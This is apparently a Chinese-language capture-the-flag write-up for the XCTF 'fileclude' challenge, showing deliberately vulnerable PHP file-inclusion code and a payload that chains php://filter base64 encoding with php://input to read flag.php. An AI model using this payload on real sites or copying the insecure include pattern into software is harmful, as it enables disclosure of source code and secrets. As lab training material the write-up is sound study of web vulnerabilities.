XCTF-fileclude

发布时间 2023-11-29 09:34:55作者: Junglezt

访问页面是一个文件包含的源代码,代码很简单

 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf")
        {
            include($file1);
        }
    }
    else
        die("NONONO");
} 

需要传入两个值:file1恶和file2,条件如下:

  • file1: 使用php://filter协议读取flag.php
  • file2: 使file_get_contents()方法获取到的内容为hello ctf

file_get_contents()方法是获取指定路径文件的内容,也可以是url,在网上找到了file_get_contents()方法会读取POST传参的内容,我们可以使用php://input协议进行POST传参,具体使用代码如下

<?php

$str = file_get_contents("php://input");
echo $str;

?>

然后使用POST进行传参,这里我在firefox中的hackerbar没有参数的情况下不可以进行传参,所以使用burpsuite

这里验证了确认php://input会获取POST的数据,这里构造payload

file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input


使用burpsuite自带的base64解码工具解码得到flag